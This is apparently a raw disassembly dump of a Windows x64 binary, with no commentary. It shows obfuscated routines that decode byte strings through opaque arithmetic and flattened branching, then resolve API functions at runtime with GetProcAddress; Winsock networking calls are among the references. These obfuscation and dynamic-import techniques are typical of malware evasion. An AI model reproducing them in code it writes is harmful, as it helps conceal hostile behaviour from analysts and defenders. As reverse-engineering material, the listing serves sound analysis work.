jne 0x14006f119
sub r9b, 0x72
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f141
lea edx, [r9 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006f4a0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f167
add r9b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
jmp 0x14006f471
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006f18c
lea edx, [r9 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
jmp 0x14006f3a6
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006ef45
sub r9b, 0x6e
movzx eax, r10b
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006ea43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f1e4
lea edx, [r9 - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2d
jmp 0x14006f427
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f209
lea edx, [r9 + 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x61
jmp 0x14006f3a6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006f22f
add r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3b
jmp 0x14006f46e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006f255
add r9b, 3
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x15
jmp 0x14006f471
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006eefc
sub r9b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x5d
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006f2cc
add r9b, 0x1c
movzx eax, r10b
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006f2f5
sub r9b, 0xe
movzx eax, r10b
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006f4cd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006eec0
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14006f4a0
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, r10b
jmp 0x14006f3a6
lea ecx, [r9 + 0x4e]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x22]
jmp 0x14006f4a0
lea edx, [r9 + 0x21]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x19
add dil, dl
jmp 0x14006f4a0
add r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xd
jmp 0x14006f471
lea edx, [r9 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x59
add dil, dl
add r9b, 0x63
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x100], r10b
jmp 0x14006f46e
sub r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7f
dec r11
inc r11
jmp 0x14006ea43
lea edx, [r9 + 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x35
jmp 0x14006f427
movzx r9d, r11b
lea edx, [r9 + 0x71]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x17
add dil, dl
sub r9b, 0x73
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x25
add r10b, r9b
mov byte [rbp + r11 + 0x100], r10b
inc r8
dec r11
inc r11
jmp 0x14006ea43
lea ecx, [r11 + 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x51
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006ea43
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 5
movzx r9d, r11b
add r9b, 0x39
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x71
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x100], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x100], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x47
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ea43
add r9b, 0x17
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x5f
jmp 0x14006ea40
add r9b, 0x41
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x39
jmp 0x14006ea30
lea rdx, [rbp + 0x1618ae4]
jmp 0x14006f590
lea rdx, [rbp + 0x171bccf]
jmp 0x14006f590
lea rdx, [rbp + 0x100]
mov r14, qword [rbp + 0x410]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
mov byte [rbp + 0x120], WSAGetLastError
mov byte [rbp + 0x121], 0x7e
mov byte [rbp + 0x122], 0x8c
mov byte [rbp + 0x123], WSAGetLastError
mov byte [rbp + 0x124], 0x79
mov byte [rbp + 0x125], 0x8b
mov byte [rbp + 0x126], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x127], 0x8e
mov byte [rbp + 0x128], 0x87
mov byte [rbp + 0x129], WSAGetLastError
mov byte [rbp + 0x12a], 0x89
mov byte [rbp + 0x12b], 0x86
mov byte [rbp + 0x12c], 0x1a
xor eax, eax
mov qword [rbp + 0x12d], rax
mov dword [rbp + 0x135], eax
mov word [rbp + 0x139], ax
movabs r15, 0x9c91a1003ce29e83
movabs r13, 0xd5b4e300b6a7db89
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1b
jae 0x140070181
movzx r10d, byte [rbp + r11 + 0x120]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140070178
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006f68c
lea rcx, [r11 + r15]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x6b
jmp 0x14006f6d3
je 0x140070109
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007006f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007003d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006ffff
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006ffde
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ff97
movzx r9d, r11b
cmp r8, r11
ja 0x14007016f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14006f701
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x14006f740
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ff7f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ff59
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ff3e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006ff0f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006fcb6
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006fc9b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006fc75
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006fc52
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006fc33
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006fc13
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006fbf3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006fbd8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006fbbb
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006fb8c
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006f750
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140070152
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140070135
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006f93f
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006f924
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006f909
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006fb3d
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006faf1
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006fab5
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006fa8d
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006f750
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006fa5e
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006fa3e
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006fa1f
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006f9ff
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006f9e2
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006f9c7
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006f9a4
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006f97b
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
ja 0x14006f95c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006f750
mov rbx, rcx
lea r8, [rcx + 0x5a]
jmp 0x14006f750
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x14006f740
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x14006f6d7
add r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6d
jmp 0x14006f660
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ffb1
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006f643
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
dec r11
inc r11
jmp 0x14006f643
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140070019
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140070053
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140070056
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070096
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400700c2
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
add r9b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x71
mov byte [rbp + r11 + 0x120], dil
inc r11
jmp 0x14006f643
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
cmp r8, 0x7a
jb 0x14006faa5
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006ffb1
lea ecx, [r9 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
cmp rbx, 0x3e8
jae 0x14006fed8
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006fe2b
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006facb
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14006fef6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14006fd8e
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x14006fb07
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x1400700c2
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x140070096
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140070056
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140070053
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070019
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
dec r11
inc r11
jmp 0x14006f643
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14006f643
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x14006ffb1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14006fcda
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x14006fb53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006fd12
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fd3a
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070096
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006fd5e
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140070019
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006fb53
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
dec r11
inc r11
jmp 0x14006f643
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006fdb2
lea ecx, [r9 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x55
jmp 0x14006ffb1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fddd
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc dil
dec r11
inc r11
jmp 0x14006f643
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006fe03
add r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x53
jmp 0x140070053
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006fb07
lea ecx, [r9 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x140070096
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006fe66
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006fe8c
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x1400700c2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006feb0
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140070096
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006facb
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14006ffb1
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140070019
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140070093
sub r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4d
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x140070096
sub r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x73
inc r8
dec r11
inc r11
jmp 0x14006f643
lea ecx, [r9 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x63
jmp 0x14006ffb1
movzx r9d, r11b
lea ecx, [r9 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
sub r9b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0xd
add r9b, r10b
mov byte [rbp + r11 + 0x120], r9b
inc r8
dec r11
inc r11
jmp 0x14006f643
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
dec r11
inc r11
jmp 0x14006f643
movzx r9d, r11b
lea ecx, [r9 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
sub r9b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x1d
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x120], r9b
jmp 0x140070053
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006f643
movabs rdx, 0x47fb6701aa325595
add rdx, r11
movzx eax, dl
and al, sil
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x13
movzx r9d, r11b
add dil, dl
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x47
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x120], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x120], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
add dil, 0x41
movzx eax, byte [rbp + r11 + 0x120]
add rax, r8
add r11, rax
inc r11
jmp 0x14006f643
add r9b, 0xf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x69
jmp 0x14006f640
add r9b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x14006f630
lea rdx, [rbp + 0x1428124]
jmp 0x140070188
lea rdx, [rbp + 0xa51fa7]
jmp 0x140070188
lea rdx, [rbp + 0x120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x140], 0xab
mov byte [rbp + 0x141], 0xf1
mov byte [rbp + 0x142], 0xf5
mov byte [rbp + 0x143], 0xfe
mov byte [rbp + 0x144], 0xc9
mov byte [rbp + 0x145], 0xa9
mov byte [rbp + 0x146], 0xcf
mov byte [rbp + 0x147], 0xfd
mov byte [rbp + 0x148], 0xc2
mov byte [rbp + 0x149], 0xf9
mov byte [rbp + 0x14a], 0xc7
mov byte [rbp + 0x14b], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x14c], xmm0
movabs r15, 0x90500b1d20d63611
movabs r13, 0xb0f021576282a233
movzx edi, byte [rbp + 0x400]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x1c
jae 0x140070cba
movzx r11d, byte [rbp + rsi + 0x140]
mov r9d, r11d
nop dword [rax + rax]
cmp rbx, rsi
ja 0x140070cb1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007026c
lea rcx, [rsi + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x77
jmp 0x140070299
je 0x140070c43
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070bdd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070b85
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140070b3e
movzx r10d, sil
nop dword [rax]
cmp r8, rsi
ja 0x140070ca8
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400702cd
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3d
jmp 0x140070300
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140070b26
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140070b03
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070ae8
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x1400707e8
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400707cd
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400707a7
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140070781
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140070762
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140070742
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140070723
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140070703
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400706d2
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140070310
mov rbx, rax
lea r8, [rax + 0x40]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140070c8b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140070c6e
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400704cb
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400704b0
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140070495
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007064f
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140070613
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400705eb
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140070310
lea rbx, [r8 + 8]
lea r8, [rbx + 8]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400705ba
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007059a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007057b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007055e
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140070541
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140070526
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140070503
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400704e8
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140070310
lea rbx, [r8 + 1]
lea r8, [rbx + 1]
jmp 0x140070310
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x63
jmp 0x140070300
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x51
jmp 0x1400702a0
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x3f
jmp 0x140070240
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
jmp 0x140070b58
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x3c
dec rsi
inc rsi
jmp 0x140070222
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
jmp 0x140070b9f
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x60
jmp 0x140070bc1
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x72
jmp 0x140070bc4
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140070ab7
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140070c00
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
